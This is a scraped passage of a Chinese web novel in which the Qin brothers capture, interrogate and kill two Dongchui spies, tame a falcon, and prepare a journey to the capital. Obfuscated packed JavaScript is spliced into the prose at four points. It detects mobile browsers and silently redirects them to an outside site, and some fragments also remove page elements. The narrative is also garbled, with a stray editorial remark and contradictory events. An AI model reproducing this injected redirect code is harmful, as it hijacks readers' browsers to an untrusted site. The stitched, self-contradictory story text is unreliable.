宁芷薇站在马车内,轻轻掀开车帘的一角,初夏的阳光透过缝隙洒在她的手背上。她的目光落在前方那两个东陲人的背影上,眉头不自觉地蹙起。 这两人走路的姿势看似平常,但她却能从中察觉出几分异样。右边那人走路时左肩微微下沉,显然是常年负重所致;左边那人则时不时用手指摩挲腰间,那里应该藏着什么暗器。 马车轻轻晃动,宁芷薇扶着车壁稳住身形。她回想起昨晚在驿馆听到的对话,心中愈发笃定这两人来历不简单。 “八哥。”她压低声音,唤了一声驾车的秦雪松。 “怎么了?”秦雪松头也不回,声音却清晰地传来。 宁芷薇犹豫片刻,还是说出了自己的担忧:“这两人不简单,他们的举止太过刻意了。” 秦雪松闻言,不由得侧目看了她一眼:“九弟妹看出什么来了?” “沧澜先生做事向来谨慎,他派来的人,必定都有些本事。”宁芷薇轻声道,目光始终没有离开前方两人,“尤其是用毒的功夫。” 一阵微风吹过,带来远处农田里泥土的清香。秦雪松眸光一凛,他倒是忘了这一茬。东陲人最擅长的就是用毒,这两人既然是沧澜派来的,怎么可能会是无名之辈。 “九弟妹放心,我心里有数。”秦雪松握紧了缰绳,声音低沉而坚定,“先追上九弟再说。” 马车缓缓前行,不敢太快。车轮碾过泥土路面,发出细微的声响。宁芷薇虽然着急,但也明白现在的情况不能冒险。她一手扶着车壁,一手轻轻抚着隆起的腹部,眼中满是担忧。 路边的麦田里,农人们正在忙碌。有人直起腰擦汗,好奇地打量着这辆看起来普通的马车。宁芷薇微微垂下眼帘,避开那些探寻的目光。 第一百九十八章 很快,他们就追上了秦远霄。看到熟悉的身影,宁芷薇悬着的心才稍稍放下。只见秦远霄一个轻巧的跃身,落在了车夫位置上,动作行云流水,毫无声息。 “那两人在前面。”他低声道,目光锐利如刀,“现在是动手的好时机。” 这段路两旁都是农田,此时正是农忙时节,村民都在地里干活,路上难得见到行人。远处,蝉鸣声断断续续地传来,更衬托出四周的寂静。 秦雪松将缰绳交给九弟,眼中闪过一丝寒光:“我去抓人。”他的声音很轻,却带着不容置疑的决心。 “当心他们玩花招。”秦远霄提醒道,“东陲人最擅长的就是暗器和**。” 话音未落,秦雪松已经如一道疾风般冲了出去。他的身形在阳光下划出一道优美的弧线,快得几乎要在空气中留下残影。 宁芷薇透过车帘的缝隙,紧张地注视着这一切。只见秦雪松一脚踹飞一人,同时抓住另一人伸向怀中的手。那动作之快,令人眼花缭乱。 被踹飞的东陲人在地上滚了两圈,还想挣扎着爬起来。秦远霄见状也不含糊,将马车停在路边后纵身而上。他一个箭步冲到那人身边,手刀劈向对方后颈。 兄弟二人配合默契,转眼间就制住了两个东陲人。其中年长的那个还在挣扎,嘴里不停地叫嚷:“你们是什么人?大白天就敢明目张胆地动手,我要去告官!” 秦雪松闻言差点笑出声来。他低头看了看自己身上的捕头官服,语气中带着几分戏谑:“我就是官,有什么不满尽情倒出来。” 那东陲人这才注意到秦雪松的装扮,脸色顿时一变,张了张嘴却说不出话来。不等他们再说什么,兄弟二人已经出手将人打晕。 宁芷薇见状连忙下了马车:“先把人带上车,这里不是说话的地方。”她环顾四周,虽然农田里的人都在忙着干活,但难保不会有人注意到这边的动静。 秦雪松和秦远霄对视一眼,很快就把两个昏迷的东陲人扔进马车。宁芷薇坐在一旁,仔细打量着这两人。他们穿着普通的布衣,看起来就像寻常的行商,但腰间隐约可见绑带的痕迹。 马车缓缓启动,向东麓村驶去。一路上,宁芷薇的心始终悬着。这两个东陲人既然是沧澜派来的,想必身上带着什么重要的信息。 回到东麓村的院子,五哥六哥正在劈柴。看到八弟突然回来,还带着两个昏迷的陌生人,都觉得有些不对劲。 秦远霄简单说明了情况,几个兄弟很快达成共识,决定把人带到幽谷里审问。那是他们平时练功的地方,僻静隐蔽,最适合审讯。 宁芷薇知道接下来的场面不适合她在场,便回了房间。她站在窗前,望着几位兄长带着人离开的背影,心中五味杂陈。她相信,以几位兄长的手段,一定能撬开那两个东陲人的嘴。 幽谷里,秦远霄仔细搜查两人身上的物品。除了一千两银票外,还有几个装着毒粉的瓷瓶。这些瓷瓶做工精致,一看就不是寻常货色。 “这是东陲的蛊毒。”秦远霄拿起一个瓷瓶,神色凝重,“能在短时间内让人失去行动能力,但不会致命。” 两个东陲人醒来后,看到四个气势逼人的男子,吓得不敢动弹。洞内火把的光芒映在墙壁上,将几人的影子拉得老长。 可其中一人还想耍花招,伸手入怀想取暗器。结果摸了个空,这才意识到自己的处境有多糟糕。他绝望地看着自己空空如也的衣襟,冷汗顺着额头流下。 秦远霄手中把玩着两个瓷瓶,月光下能看到瓶身上隐约的东陲文字。他的目光在两个被制住的东陲人身上逡巡,嘴角勾起一抹意味深长的笑意。 “找的可是这个?”他晃了晃手中的瓷瓶,瓶中药丸碰撞发出细微的声响。 两个东陲人看着自己的保命之物落在对方手中,面色瞬间变得惨白。年长些的那个下意识地咽了口唾沫,喉结剧烈滚动。 寒风呼啸,树影婆娑。秦远霄将瓷瓶收入怀中,眸光渐冷:“你们倒是说说,来宁远做什么?” 秦雪松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那东陲人吓得浑身发抖,竟然当场失禁了。温热的液体顺着裤腿流下,在地上洇出一片深色的水渍。 “真是晦气。”秦雪松嫌恶地别过头去,眉头紧皱。 五哥不爽地皱起眉头:“九弟,快问吧。这地方不宜久留。” 秦雪松已经举刀对准了那东陲人的面门,刀锋在月光下泛着森森寒光。 “我说,我什么都说!”东陲人连忙开口,声音中带着哭腔,“是沧澜先生派我们来的......” “果然是他!”秦远霄咬牙切齿,与几位兄长交换了一个意味深长的眼神。夜风吹动他的衣袍,衣角猎猎作响。 “他派你们过来干嘛?”秦远霄的声音低沉,带着压抑的怒意。 “找他丢失的宠物......”东陲人的声音越来越小,“是一只金翅大鹏......” 秦远霄心中一动,想起了媳妇界阙里那只能变身的铁羽隼。难怪这些天总觉得有人在暗中窥视,原来是沧澜先生派来的人。看来那只鸟对他来说意义非凡。 “沧澜先生在哪?”这才是他最关心的问题。自从上次交手后,这个神秘的东陲术士就像人间蒸发一般。 “我不知道......”东陲人的声音越来越弱。 秦雪松的刀已经高高举起,寒光闪烁:“找死!” “饶命啊!我是真的不知道!”东陲人吓得眼泪直流,鼻涕横流,“我们是风渠贵妃的人,她吩咐过,沧澜先生若有差遣,没办法,只能遵命......” “风渠?”秦远霄冷笑,眼中闪过一丝杀意,“她已经死在我手里了。” 东陲**惊失色:“贵妃**?”他的声音中带着难以置信,“这、这怎么可能......” “说!风渠在永安境内还安插了多少细作?沧澜先生是如何联系你们的?”秦远霄的声音越发冰冷。 东陲人颤抖着开口:“我、我只知道宁远和临安有我们的人......”他的声音越来越虚弱,“沧澜先生从不露面,都是通过信鸽传递消息......” “还有呢?”秦雪松的刀又往前送了几分。 “真的没有了!”东陲人急得直掉眼泪,“我们只是最底层的眼线,很多事情都不知道啊......” 秦远霄沉默片刻,突然问道:“那只金翅大鹏,你们可曾见过?” “没、没见过......”东陲人摇头如拨浪鼓,“沧澜先生只说那是他最重要的宝物,一定要找到......” “最重要的宝物?”秦远霄若有所思。看来那只铁羽隼的来历不简单,难怪沧澜先生会如此执着。 “大哥。”秦雪松看向秦远霄,“还要问什么吗?” “你们来了多少人”?秦远霄问道。 东陲人的目光闪烁,声音透着一丝颤抖:“我们只有两个人在京城,有什么消息就用飞鸽传书送往东陲。” 这番话让秦家几兄弟的神色瞬间凝重。秦远霄的手指无意识地摩挲着腰间的剑柄,眼底闪过一抹寒意。 多年来,每逢大军出征,东陲总能提前得知消息。不论是哪位将领领兵,还是具体的人马数量,对方都了如指掌。这些机密信息的泄露,让朝廷损失惨重。 “这么说,京城里还有其他东陲的探子?”秦远霄冷声问道,目光如刀般锐利。 那东陲人缩了缩脖子,连连摇头:“不,不知道......” “啪!”一声脆响,秦远霄一掌拍在石壁上,幽谷内回荡着沉闷的声响。 “还敢撒谎?”他俯身逼近,声音里带着凛冽的寒意。 宁芷薇站在一旁,看着丈夫阴沉的侧脸。她知道,这些年来东陲的暗桩一直是秦家兄弟的心头之痛。虽然明德帝为了笼络秦家,也曾下令彻查此事,但始终一无所获。 没想到今日在塞北,竟意外抓到了这两个东陲探子。 “主子......”那东陲人突然开口,声音颤抖,“主子在京城安排了很多人......” “说下去。”秦远霄眯起眼睛。 “有些是商贾,有些是乞丐,还有一些混在官府衙门里......”东陲人咽了咽口水,“具体有多少人,我们也不清楚。” 宁芷薇听到这里,不由得握紧了拳头。难怪这些年来,无论如何搜查都找不到东陲的暗桩。原来他们早已渗透进京城的各个阶层。 “风渠**这么久,你们就没发现飞鸽传书有什么异常吗?”秦远霄继续追问。 东陲人摇头:“陛下总爱离宫游玩,宫里有她的心腹宫女负责接收消息。若是皇上外出,宫女会直接将消息送去圣上那里。” 这番话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744493|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让在场众人心头一震。原来风渠不仅在民间安插眼线,就连宫中也早有布局。 “那些宫女是谁?”秦远霄追问。 “不知道......”东陲人低下头,“我们从未见过她们的真面目。” 宁芷薇皱眉思索。宫中数千宫女,要找出风渠的心腹谈何容易?更何况这些人定然伪装得极好,否则不可能在宫中潜伏这么多年而不被发现。 “沧澜先生是如何给你们下达任务的?”秦远霄话锋一转。 “我们住在长宁巷,院落里那株参天古木,树上有个鸟窝。”东陲人道,“主子或沧澜先生的指令都会放在鸟窝里,我们每天都去查看。” 长宁巷。这个名字让宁芷薇心头一动。那里曾是开国功臣永安王的府邸,后来被改造成民居,施舍给无家可归的百姓。如今已是京城最混乱的地段,龙蛇混杂,确实是个绝佳的藏身之所。 “具体是哪户人家?”秦远霄追问。 “第三进院子,左数第二家......”东陲人道,“门口挂着个补鞋的招牌。” 秦远霄若有所思地点点头:“沧澜先生可说过,找到他的宝贝宠物后该如何交给他?” “他只说带回京城暂养,等候下一步指示。” “那他总该给你们什么好处吧?” 东陲人的目光落在秦远霄胸前:“正是你顺走的那只香囊,里面有养蛊的秘方。” 秦远霄取出荷包仔细查看,果然在夹层中发现一张写满蛊术的纸张。纸上的字迹潦草,显然是匆忙所写。 问完这些,秦远霄向几位兄长使了个眼色。 东陲人看出出眼神中的意思,吓得魂不附体:“大人饶命!我什么都说了啊!” “正因为你什么都说了,所以......”秦远霄的声音平静,“才更不能留你。” 话音未落,秦雪松的刀已经划过东陲人的喉咙。鲜血喷涌而出,东陲人瞪大了眼睛,不甘地倒在地上。 “处理一下现场。”“别留下痕迹。”秦远霄转身走出幽谷。山风呼啸,吹散了他眉间的阴霾。 五哥六哥应声开始处理尸体,秦雪松则仔细检查现场,确保不会留下任何蛛丝马迹。 夜色渐深,林中重归寂静。只有淡淡的血腥味还在空气中飘荡,昭示着这里曾经发生过的一切。 第二百章 秦远霄站在林边,望着远处宁远的灯火,眉头微皱。沧澜先生、风渠的细作网、神秘的金翅大鹏......这些线索交织在一起,预示着一场更大的风暴即将来临。 宁芷薇连忙跟上,轻声问道:“你是不是觉得沧澜先生就在京城?” “嗯。”秦远霄望着远处起伏的山峦,“否则他不会让人把铁羽隼带回京城。而且......” “而且什么?” “而且这次的行动太仓促了。”秦远霄眉头紧锁,“沧澜先生向来谨慎,不会轻易暴露自己的眼线。除非......” “除非他另有所图。”宁芷薇接过话头,“你是说,他故意让我们抓到这两个探子?” 秦远霄点头:“很可能。这两人知道的信息都很表面,却偏偏说出了长宁巷的具体位置。” “你觉得是个陷阱?” “八成是。”秦远霄转身看着妻子,“但这个陷阱,我们不得不踩。” 宁芷薇握住他的手:“你想去京城查探?” “是有这个打算。”秦远霄将她搂在怀里,“但具体怎么做,还需要好好计划。” “我和你一起去。”宁芷薇坚定地说。 “不行,你现在有孕在身。”秦远霄心疼地摸了摸她的肚子,“万一有什么危险......” “我不会拖你后腿的。”宁芷薇抬头看他,眼中闪烁着坚定的光芒,“而且我对京城也很熟悉,说不定能帮上忙。再说......” 她顿了顿,声音低了几分:“我总觉得,沧澜先生这次的目标,可能不只是铁羽隼那么简单。” 秦远霄还想说什么,幽谷里突然传来一声凄厉的惨叫,打断了两人的谈话。 与前文矛盾的叙述 “先回去吧。”秦远霄扶着宁芷薇往山下走,“等问完他们,我们再商量对策。” 山风呼啸,卷起地上的落叶。远处,一只铁羽隼正盘旋在天际,发出一声长鸣。 宁芷薇抬头望去,心中突然涌起一丝不安。她总觉得,这次的事情远没有表面看起来那么简单。沧澜先生布下这个局,究竟想要什么? 而他们,又将在这个局中扮演什么角色? 宁芷薇站在窗前,望着天边渐渐西沉的落日。暮色四合,远处的山峦被染成了深紫色,天际飘着几缕淡淡的云彩。 她的手轻轻抚过微微隆起的小腹,眉头不自觉地蹙了起来。沧澜先生的名号,在江湖上可谓是令人闻风丧胆。那人不仅精通毒术,更是东陲蛊虫一道的集大成者。即便是武功高强如秦远霄,若是遇上他那些防不胜防的手段,恐怕也难以全身而退。 “若是没有我在身边......”宁芷薇轻咬下唇,指尖无意识地摩挲着窗棱。 一阵温热从背后传来,秦远霄不知何时已经站在她身后,轻轻环住她的肩膀。 “在想什么?”他的声音低沉而温柔。 宁芷薇靠在他怀里,轻声道:“那两个东陲人的事。” “不必太过担心,”秦远霄安抚地拍了拍她的手,“他们刚到塞北,就算沧澜先生在京城等消息,也需要一段时日。我们还有时间从长计议。” 宁芷薇点点头,但眼底的忧虑并未散去。她转身面对秦远霄,目光在他脸上流连:“我总觉得,沧澜先生不会这么简单就罢休。” “我知道。”秦远霄的眸色沉了沉,“但现在最重要的是保护好你和孩子。” 夜色渐深,院子里传来下人们准备晚膳的声响。宁芷薇突然想到什么,拉着秦远霄的手道:“我们去界阙看看。” 进入界阙后,宁芷薇的目光立即落在角落里那只铁羽隼身上。那是沧澜先生的爱宠,当初被墨圆儿收服,如今正安静地栖息在笼中。 “远霄,”宁芷薇眼中闪过一丝光芒,“我有个主意。” 秦远霄顺着她的视线看去,立即明白了她的想法:“你是说,让这只铁羽隼认我为主?” “对,”宁芷薇点头,“有了它,寻找沧澜先生时就能事半功倍。” 她环顾四周,终于在竹林里发现了正在打盹的墨圆儿。那小家伙蜷缩成一团,毛茸茸的尾巴盖在脸上,睡得正香。 “墨圆儿!”宁芷薇轻唤。 小家伙揉着惺忪的睡眼,一路踉踉跄跄地跑了过来,还打了个大大的哈欠。 宁芷薇从储物界阙取出一块蜜饯,在墨圆儿面前晃了晃:“帮我个忙好不好?让那只铁羽隼认他做主人。” 墨圆儿眨巴着黑溜溜的大眼睛,先是得意地挺起胸膛,随即又抱住宁芷薇的腿撒起娇来。 “就知道吃,”宁芷薇宠溺地摸摸它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752102|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头,“办好了有奖励。” 得到承诺的墨圆儿立刻来了精神,蹦蹦跳跳地朝铁羽隼跑去。那只铁羽隼见到墨圆儿,顿时警惕地竖起羽毛。 墨圆儿却不以为意,反而做起鬼脸来。气得铁羽隼张开尖喙,翅膀下的金色羽毛闪烁不定,看起来随时都要发动攻击。 “这小东西......”秦远霄看着墨圆儿的举动,忍不住笑出声来。 玩够了的墨圆儿终于认真起来。它挥舞着小爪子,嘴里发出一连串奇怪的声响。渐渐地,铁羽隼的戒备消失了,转而用温顺的目光望向秦远霄。 宁芷薇打开笼子,铁羽隼立刻飞到秦远霄的手臂上,亲昵地蹭了蹭他的手掌。 “它真的认我为主了?”秦远霄惊喜地问。 铁羽隼仿佛听懂了他的话,立即发出一声清亮的鸣叫作为回应。 墨圆儿见状,立刻委屈地抱住宁芷薇的腿。宁芷薇连忙安抚这个小醋坛子,拿出一罐蜂蜜犒劳它:“好了好了,你最厉害。” 秦远霄取下一片树叶,注入内力后抛向远处:“小白,将那叶采来。” 铁羽隼展翅高飞,在空中划出一道优美的弧线,转瞬间便叼着树叶回到秦远霄手臂上。 “小白?”宁芷薇忍不住笑道,“你这名字取得可真随意。” “它平时不露出金色羽毛时,不就是只白鸽子吗?”秦远霄摸着小白的头,眼中带着笑意,“而且这样也不会引人注目。” 宁芷薇点点头,又想到什么似的问道:“你打算什么时候动身?” 秦远霄的表情变得严肃起来:“再等两天。我要先确认那两个东陲人的行踪,免得打草惊蛇。” “我担心......”宁芷薇欲言又止。 秦远霄握住她的手:“我知道你在担心什么。但你现在最重要的是养胎,不能有丝毫闪失。” 宁芷薇咬着唇,眼中闪过一丝不甘:“可是......” “没有可是,”秦远霄打断她,“你要答应我,在我离开的这段时间,一定要好好照顾自己。” 宁芷薇沉默片刻,终于点头:“你也要答应我,一定要小心。沧澜先生不仅精通毒术,据说还养了不少剧毒的蛊虫。” “放心,”秦远霄笑道,“有小白在,我就能提前察觉到危险。” 第二百零一章 天色完全暗了下来,两人离开界阙,正巧遇到从山上归来的五哥等人。 几位兄长脸上都带着疲惫,但眼神依旧坚毅。宁芷薇望着他们的背影,心中暗暗下定决心:一定要想出万全之策,护住夫君周全。 “死者已经安置妥当了?”秦远霄的声音很轻,却带着不容忽视的威严。他站在院子里,月光透过树影在他脸上投下斑驳的光影,衬得那张俊美的脸庞愈发深沉。 宁芷薇站在他身边,看着几位兄长的神情,心中暗暗叹息。夜风吹过,带来一丝凉意,她下意识地裹紧了外衫。 “尸体已经扔到后山了。”五哥说着,目光落在秦远霄身上。他的衣服上还沾着些许血迹,在月光下显得格外刺眼。 宁芷薇注意到,提到后山时,秦远霄的眼神微微一动,那双漆黑的眸子里闪过一丝思索。她太熟悉这个眼神了,每次秦远霄遇到棘手的问题时,都会露出这样的表情。 后山,那是蛮夷人常来的地方。每隔一两年,他们就会翻山越岭,来东麓村骚扰一番。村里的老人们总说,后山的风都带着血腥气,那是多年前战争留下的痕迹。 “五哥,后山可有什么特别的痕迹?”秦远霄问道,他的手指停下了敲击的动作,整个人显得异常专注。 宁芷薇知道他在想什么。以前带兵打仗时,探路的士兵都会留下记号,蛮夷人来去匆匆,必定也有类似的标记。她不由自主地握紧了衣袖,心跳微微加快。 “倒是发现了一些东西。”五哥走到石桌旁,沉吟道,“有篝火的痕迹,还有动物的皮**和骨头。应该是最近有人在那里打猎。地上的脚印很新鲜,最多三天前留下的。” “至于标记,我们没找到。”六哥从屋里走出来,手里端着一壶热茶,“可能是蛮夷人发现那里猎物多,就不来骚扰了。不过...”他顿了顿,“我总觉得不太对劲。” 宁芷薇看着秦远霄若有所思的样子,心中已有计较。她悄悄观察着兄长们的表情,每个人脸上都带着掩饰不住的担忧。 “今年雨水少,恐怕会有干旱。”秦远霄端起茶杯,茶水的热气在夜色中袅袅升起,“幸亏这村子有一道水流,庄稼早就旱**。蛮夷那边若是缺粮,必定会来犯。” 他的话让院子里的气氛更加凝重。宁芷薇想到家里的产业,尤其是那上千只兔子,还有即将饲养的鸡鸭牛羊,不由得担心起来。如果蛮夷人真的来犯,这些可都是他们觊觎的目标。 “九弟放心,我们轮流去后山巡查。”五哥拍着胸脯保证,他的声音里带着坚定,“我已经安排好了人手,每天分三班轮换。” 夜深人静,宁芷薇躺在床上,却怎么也睡不着。她翻来覆去,脑海中不断浮现出各种可能发生的危险场景。 秦远霄察觉到她的辗转反侧,轻声道:“睡不着?” “嗯,”宁芷薇轻声回答,“总觉得心里不踏实。” “别想太多,”秦远霄将她搂入怀中,“有我在。” 宁芷薇靠在他胸前,听着他有力的心跳声,渐渐平静下来。但她知道,这份平静只是暂时的。沧澜先生不会轻易放弃,这场较量才刚刚开始。 她闭上眼睛,在心中默默祈祷:但愿一切顺利,但愿他平安归来。 院子里的灯笼在风中轻轻摇晃。宁芷薇的意识已经进入界阙。果然,墨圆儿正在山脚下训练那群狗狗。它们整整齐齐地坐着,一动不动,黑白相间的毛发在月光下泛着柔和的光泽。 看来墨圆儿的训练很有成效。这些狗狗不仅体型健硕,警觉性也很高。再过两三天,它们就能派上用场了。宁芷薇暗暗盘算着,要给这些忠实的伙伴准备些什么奖励。 晚饭时分,一家人围坐在饭桌旁。秦老夫人看着桌上丰盛的菜肴,却没什么胃口。她时不时地看向秦远霄,欲言又止。 “远霄,今日采购如何?”老太太终于开口问道。虽然她不再过问家事,但还是看出今天气氛不对。餐桌上的气氛比往日沉重许多。 宁芷薇看着秦远霄,知道他本想等去京城时再说的。但现在的情况,恐怕不得不提前说明了。 “娘,材料都准备齐全了。”秦远霄放下筷子,顿了顿,“只是在城里遇到两个东陲人,他们在打听东麓村。” 一席话说完,满桌人色变。碗筷相碰的声音在寂静的堂屋里格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752103|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外清晰。 “沧澜这个祸害!”秦老夫人气得发抖,手中的筷子都拿不稳了,“他是不会放过我们的。这些年来,他一直在找机会...” “娘,我打算去京城一趟。”秦远霄打断了母亲的话,他的语气平静,但眼神坚定。 “一起去!”八哥猛地站了起来,椅子在地上发出刺耳的声响。 “对,咱们兄弟同去。”七哥虽然身体未愈,脸色还有些苍白,但也坚持要去。他撑着桌子站起来,显然还未完全康复。 “不行。”秦远霄摇头,语气不容置疑,“太多人反而引人注目。况且,村里现在需要人手。” “远霄,那沧澜狡猾得很。”秦老夫人担忧道,她的手紧紧抓着桌角,“你一个人去太危险。那些东陲人...” “让我陪九弟去吧。”五哥放下碗筷,正色道,“我对京城也熟悉,而且身手...” 五哥的一席话让其他几个兄弟坐不住了。大厅内的气氛顿时紧张起来,空气仿佛凝固了一般。 “不行!”八哥猛地从椅子上站起,茶杯被他一掌拍得震颤,茶水溅出几滴。他眉头紧锁,语气坚决,“要去就一起去,这是咱们全家的大事。” 六哥放下手中的茶盏,指节轻叩桌面。他沉吟片刻,目光在众人脸上扫过:“人多好办事,若是分头行动,也能多些线索。倘若家里那三位大男人有了音讯,也好及时应对。” 七哥正欲开口,秦老夫人的声音已经响起:“都别争了。”她的声音不大,却带着不容置疑的威严,“这事我来拿主意。” 老夫人缓缓起身,目光如炬般扫过在座的儿子们。她的面容虽然疲惫,但眼神依旧锐利:“远霄、瑾高和徒扬三个去京城,初寒留在家里当值,元策身子还没完全好,就在家照看。” 宁芷薇站在一旁,看着婆婆坚定的神色,暗自点头。这样的安排确实最为妥当,既保证了出行的效率,又顾及到了家中安全。她的目光不自觉地落在秦远霄身上,心中泛起一丝不安。 几位嫂嫂面露忧色,秦雨澜更是紧紧攥着手帕,指节发白。她们虽然担心,却也只能在心里默默祈祷。 第二百零二章 宁芷薇看着他们争执,心中已有了主意。她默默地吃着碗里的饭,脑海中已经开始盘算起来。界阙里的那些狗狗,或许能派上大用场。 夜深了,院子里渐渐安静下来。宁芷薇站在自己的房间里,透过窗户看着院子里的景象。月光洒在地上,树影婆娑,不时有夜风吹过,带来远处的虫鸣声。 她知道,这平静的夜晚下,暗流涌动。东陲人的出现,后山的异常,还有即将到来的干旱,每一件事都像是暴风雨前的预兆。 回到房中,宁芷薇立刻进入界阙,开始为丈夫准备行装。她的动作很快,但每一件物品都经过仔细考量。 防弹衣是首要之物。她取出最新研制的轻薄款,这种材质不但防护力强,还能避免影响行动。京城那个地方,不说明德帝的刀光剑影,光是那个神秘莫测的沧澜先生就够让人提心吊胆的。 她又取出几把迷你**和**,这些都是界阙里最新的产品。精钢**的寒光在烛火下闪烁,玲珑连珠弓更是她特意改良过的。犹豫片刻,她又加上几颗**。这些东西在关键时刻都能救命。 解**和雄黄粉整整装了一匣子。那只子蛊的提取物还剩一些,她按古方配了几颗解百毒的药丸,又加入了一些现代配方,效果更好。 想了想,她又配了些剧**丸。这些东西虽然不是什么善物,但在危急关头可能就是保命的关键。她将药丸分别装入不同的玉瓶,仔细做了标记。 界阙里养的几匹千里马也该派上用场了。这些马都是她精心挑选的,不但耐力惊人,而且极通人性。 收拾妥当,宁芷薇依偎在秦远霄怀中。夜色已深,月光透过窗棂洒在地上,在她脸上投下细碎的光影。她的声音有些发颤:“你要答应我,一定要平安回来。” 她轻轻抚摸着自己的小腹,眼中泛起水光:“我和孩子都在这里等你。” 秦远霄将她搂得更紧,感受着她微微颤抖的身体。他低头吻去她眼角的泪花:“傻瓜,我还没享够这样的日子,怎么舍得丢下你们。” 虽然准备已经就绪,但秦远霄并不急着启程。按他的推算,那两个东陲人应该刚到塞北,还需要时间寻找铁羽隼。沧澜先生多半也在算计着他们的行程,现在动身反而不妥。 趁这几天,他把城里订购的木料都运了回来。工匠们按照他的吩咐,加紧制作各种机关。这些东西虽然比不上现代科技,但在这个时代也算得上是精妙绝伦了。 宁芷薇界阙里的小狗也都长大了。这些狗都是她从现代带来的优良品种,经过墨圆儿的调教,比军犬还要听话。秦远霄找了个由头,说是从外地牧民手中购得,把狗都带回了家。 其实两人有些多虑了。家里人早就习惯了他们时不时带回些稀奇古怪的东西,尤其是几位单纯的嫂嫂,只觉得九弟夫妻真是能干。就连老夫人看到这些训练有素的狗,也只是欣慰地点点头。 秦远霄把狗分成几队,安排得井井有条。有的去山上巡逻,沿着固定的路线来回巡查,防止蛮夷人偷袭,顺便看护果园。有的则负责看守兔舍和农田,昼夜不停地巡视。 七哥对这些训练有素的狗特别感兴趣。他在东陲见过军犬,但眼前这些狗的表现更让他惊讶。这些狗不但听得懂口令,而且能够自主判断形势,配合默契。 “九弟,”七哥兴冲冲地跑来,脸上带着少见的兴奋,“这些狗真是厉害,它们不但会列队,还懂得保持间距巡逻。我看它们抓逃跑的兔子,那配合简直天衣无缝!” 秦远霄听得也有些意外,看来墨圆儿的训狗本事确实了得。这些狗不但能完成基本的守卫任务,还能根据不同情况做出反应。 夜深人静时,秦远霄常常站在院子里,看着这些忠实的守卫在月光下巡逻。它们的眼睛在黑暗中闪着幽光,警惕地注视着每一个角落。他知道,有它们在,家里人会安全很多。 临行前一晚,宁芷薇又仔细检查了一遍准备的物品。她把每样东西的用法都详细告诉了秦远霄,生怕他用错或者忘记。 “这个药丸是解毒用的,随身带着。这个是止血的,如果受伤了马上服用。这个...”她絮絮叨叨地说着,手上的动作却不停。 秦远霄静静地听着,不时点头。他知道妻子是在担心,也理解她的焦虑。这一路确实凶险,但为了找到父亲和兄长,这些风险都是值得的。 夜色渐深,院子里传来狗儿们巡逻的脚步声。远处的山林中,偶尔传来几声鸟鸣。夜晚格外宁静,仿佛连空气都变得凝重起来。 宁芷薇站在界阙里,轻抚着墨圆儿柔软的毛发,眼神有些失神。窗外的阳光透过树叶的缝隙洒落进来,在地上投下斑驳的光影。 “也不知道他们到京城了没有...”她低声呢喃,手指无意识地绕着墨圆儿的毛发。 自从秦远霄带着两位兄长离开宁远,已经过去半个月了。这半个月里,每一天都显得格外漫长。清晨醒来时空荡荡的床榻,用膳时少了一个人的碗筷,连院子里都少了那道熟悉的身影。 墨圆儿似乎感受到了主人的情绪,蹭了蹭她的手心,发出轻柔的“嗯嗯”声。它圆溜溜的眼睛望着宁芷薇,仿佛在说:“别担心,他们一定会平安的。” 宁芷薇摸了摸自己微微隆起的小腹,轻声说道:“宝宝,你说爹爹他们现在怎么样了?” 温热的掌心贴在腹部,她能感受到那里孕育着的新生命。这个小生命,是她和秦远霄爱情的结晶,也是支撑她度过这段分离时光的力量。 这些天来,她每天都忙着打理家中大小事务。白天要和商智商议宅子装修的细节,从门窗的样式到墙壁的颜色,每一处都要仔细斟酌。还要去地里看看庄稼的长势,确保今年能有个好收成。 忙碌能让她暂时忘记思念,但到了夜深人静时,那些压抑的情绪便如潮水般涌来。她会躺在床上,望着月光发呆,想象秦远霄此刻在做什么,是否也在看着同一轮明月。 婆婆很是担心她,特意安排了芳儿寸步不离地跟着。每次宁芷薇想独自去哪里,芳儿就会像个小尾巴似的跟在后面。 “少夫人,您要去菜园子吗?我陪您去。” “少夫人,天色不早了,您该休息了。” “少夫人,这个太重了,让我来搬吧。” 